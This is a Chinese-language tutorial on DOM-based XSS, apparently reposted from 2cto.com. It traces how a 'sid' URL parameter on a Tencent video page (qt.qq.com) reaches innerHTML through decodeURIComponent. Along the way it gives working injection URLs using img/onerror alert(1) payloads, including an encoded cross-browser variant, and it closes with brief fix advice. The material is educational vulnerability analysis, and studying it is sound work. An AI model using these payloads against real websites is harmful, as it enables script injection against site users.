上一篇开始说Dom Xss了, 我们说的是显式输出的情况,即我们可以在右键查看源代码的时候,看到我们所输出的内容。而有一些时候,输出操作我们是看不见的。它们通常发生在 javascript代码中。譬如:var x=location.href; 这句Javascript实际上进行了一个隐藏的输出操作,即将location.href的内容输出到了x变量中。一起来看看相关的例子吧~

 

前注: 1-4 是普通原理,没看明白的话,可以从5开始,结合实际例子看。

 

1. 本来是有另外一个例子的,不过不知道是腾讯已经给修复了,还是之前测试的时候人品好,偶尔碰上了,总之现在用不上了。

 

2. 这样一来,我们就只好用一个稍微复杂一点点的例子了。

 

3. 在说实际例子前,我们来说一个前端开发人员非常习惯使用的一段代码。下面大致写下伪代码。

 

function getParam(参数名){

//获取地址栏参数,通常是 a=1&b=2&c=3;

var x=location.search;//或者是location.hash

 

//此时x="?a=1&b=2&c=3";

//根据[参数名]取出参数名对应的值

//例如 参数名=a, 则y=1

//例如 参数名=b,  则y=2

//至于这里怎么实现这个功能,可以用循环,可以用indexOf,可以用正则

 

var y= 参数名对应的参数值;

 

//返回y

return y;

}

 

 

它的作用呢?就是从地址栏的参数里取出内容。譬如:

 

http://www.some.com/2.html?name=shouzi&age=20

 

 

我们在2.html,要显示 name 对应的值。对应的代码则非常可能下面这样写:

 

<div id="nick">加载中...</div>

<script>

var a=getParam("name");  //获取地址栏里的name参数,即shouzi

document.getElementById("nick").innerHTML=a;

</script>

 

 

4. 上面是普通开发人员为了实现功能而写的代码,如果没有安全考虑,就会存在问题。

 

如果上面的地址变为了:

 

http://www.some.com/2.html?name=<img src=1 οnerrοr=alert(1)>&age=20

 

 

那么变量a将会等于 <img src=1 οnerrοr=alert(1)>

 

document.getElementById("nick").innerHTML=a;

 

即变成了

 

document.getElementById("nick").innerHTML="<img src=1 οnerrοr=alert(1)>"; 

 

这样就变成了 教程 8 中的情景,从而触发XSS。

 

5. 接着我们看一个实际的例子。

 

http://qt.qq.com/video/play_video.htm?sid=aaaaaa

 

 

和原来的不同,我们在源代码里搜索不到东西的哦~ 

 

20130201115945726.jpg
 

那可能这里有人会有一个疑问了。那我们怎么知道有没有漏洞呢? 别担心,方法是有的。

 

这里以chrome为例,按F12,打开调试工具,见下图

 

 

20130201115945544.jpg

 

和查看源代码没有什么不同,只是这次是在调试工具里看而已。

 

6. 通过上面的方式,确定【可能】有漏洞之后。我们可以有2个方式来进行下一步。

 

6.1 直接根据调试工具里看到的HTML代码情况,来构造利用代码。 优点:省时间,缺点:如果对方有一定过滤,就很难构造

 

6.2 定位到与这个缺陷参数sid相关的JS代码,再来构造利用代码。优点:能利用一些复杂的情况, 缺点:耗时间。

 

7. 对于新手来说,先看6.1的情况。看到步骤5里面的那个图。我们可以构造以下代码。

 

<object width="100%" height="100%" id="f" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0">

<param name="movie" value="aaaaaa"></object><img src="1" οnerrοr="alert(1)">

...其它的省略了...

</object>

 

 

对应的图片解析:

 

 

20130201115946366.jpg

 

进而“试探性”的测试一下利用代码,因为我们不知道对方会不会过滤掉 “双引号”,“括号”之类的,只能试试了。。

 

http://qt.qq.com/video/play_video.htm?sid=aaaaaa"></object><img src="1" οnerrοr="alert(1)

 

 

没反应,我们继续看看调试工具,发现,双引号,变成了 \\" 。

 

20130201115946244.jpg

 

 

根据这个情况,我们可以进一步修改代码。<img>标签里不使用双引号。

 

http://qt.qq.com/video/play_video.htm?sid=aaaaaa"></object><img src=1 οnerrοr=alert(1)>

 

 

这次OK啦。

 

20130201115946704.jpg

 

 

可以看到,这种方式,写利用代码很快。

 

8. 再来看看 6.2 的方法。既然我们知道了,sid这个参数会被使用。 那么我们的目标是,javascript的代码里哪里使用了sid这个参数呢?

 

9. 我们首先,F12打开调试工具,点【Resources】,再点Frames, 然后 Ctrl+ F搜索 "sid" 或者 'sid'

 

20130201120058691.jpg

 

 

我们运气很好,一下就定位到了一个sid。

 

10. 可以看到是 getUrlPara("sid"),从单词,我们不难猜出,getUrlPara就是前面我们提到的 “获取地址栏参数“的函数。

 

为了进一步确定,我们可以很方便的在console里查看getUrlParam函数是啥样的。

 

 

20130201120059457.jpg

 

可以看到,实际上getUrlParam是对<, > 做了过滤, 但是由于chrome浏览器自身的XSS防御机制,导致location.href获取的location.href是已经经过编码的。从而导致未过滤。

 

如下图:

 

20130201120059373.jpg

 

 

11. 按道理,location.href里的<, > ," 已经变成了 %3c, %3e,%22已经被过滤了,不会有XSS了,为什么还可以呢?我们进一步往后看。

 

20130201120059751.jpg
 

 

 

看来,关键就是这里,这里有一步decodeURIComponent的操作,会将 %3c, %3e,又变回 <, >

 

供参考的完整的缺陷代码。

 

var sid=getUrlPara("sid");

if(!sid || sid==""){

document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-10px;">抱歉,视频不存在!</div>';

}else{

var flash_ver=GetSwfVer();

if(flash_ver == -1){

document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-30px;">抱歉,您还没有安装flash插件<br/>请<a target="_blank" href="http://www.macromedia.com/go/getflashplayer">下载</a>10.0以上的flash播放器<br/>安装flash后,请<a href="javascript:location.reload();">点此刷新</a></div>';

}else if(flash_ver.split('.')[0]<10){

document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-30px;">抱歉,您的flash版本过低<br/>请<a target="_blank" href="http://www.macromedia.com/go/getflashplayer">下载</a>10.0以上 的flash播放器<br/>安装flash后,请<a href="javascript:location.reload();">点此刷新</a></div>';

}else{

sid=decodeURIComponent(sid).trim().replace(/([\'\"])/g,'\\\\$1');

if(!is_valid_sid(sid)){

document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-10px;">无法打开视频文件,视频地址不合法!</div>';

}else{

insertFlash("dv_video","f",sid,"100%","100%");

}

}

}

 

 

12. 接着,会调用 insertFlash("dv_video","f",sid,"100%","100%");

 

insertFlash里,也并没有对sid进行任何过滤。

 

function insertFlash(elm, eleid, url, w, h) {

    if (!document.getElementById(elm)) return;

    var str = '';

    str += '<object width="' + w + '" height="' + h + '" id="' + eleid + '" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0">';

    str += '<param name="movie" value="' + url + '" />';

    str += '<param name="allowScriptAccess" value="never" />';

    str += '<param name="allowFullscreen" value="true" />';

    str += '<param name="wmode" value="transparent" />';

    str += '<param name="quality" value="autohigh" />';

    str += '<embed width="' + w + '" height="' + h + '" name="' + eleid + '" src="' + url + '" quality="autohigh" swLiveConnect="always" wmode="transparent" allowScriptAccess="never" allowFullscreen="true" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"></embed>';

    str += '</object>';

    document.getElementById(elm).innerHTML = str

}

 

 

图片解析:

 

 

20130201120059202.jpg

 

13. 根据以上分析,我们的利用代码可以写为。注意,%3E,%3C的编码是关键。

 

http://qt.qq.com/video/play_video.htm?sid=aaaaaa%22%3E%3C/object%3E%3Cimg%20src=1%20οnerrοr=alert(1)%3E

 

 

非常值得说明的是:

 

如果采用6.1的方法,我们得到的利用代码是

 

http://qt.qq.com/video/play_video.htm?sid=aaaaaa"></object><img src=1 οnerrοr=alert(1)>

 

 

!! 这个代码在IE下,是没法XSS的。

 

而通过6.2的方法,去分析JS代码,我们则可以构造出通用的XSS代码。

 

http://qt.qq.com/video/play_video.htm?sid=aaaaaa%22%3E%3C/object%3E%3Cimg%20src=1%20οnerrοr=alert(1)%3E

 

 

这也反应了 6.1 和 6.2 方法各自的优缺点。

 

修复方案:

1. 修复过滤上的逻辑问题。

2. 注意不同浏览器中,location.href的不同点。


转自:http://www.2cto.com/Article/201302/187421.html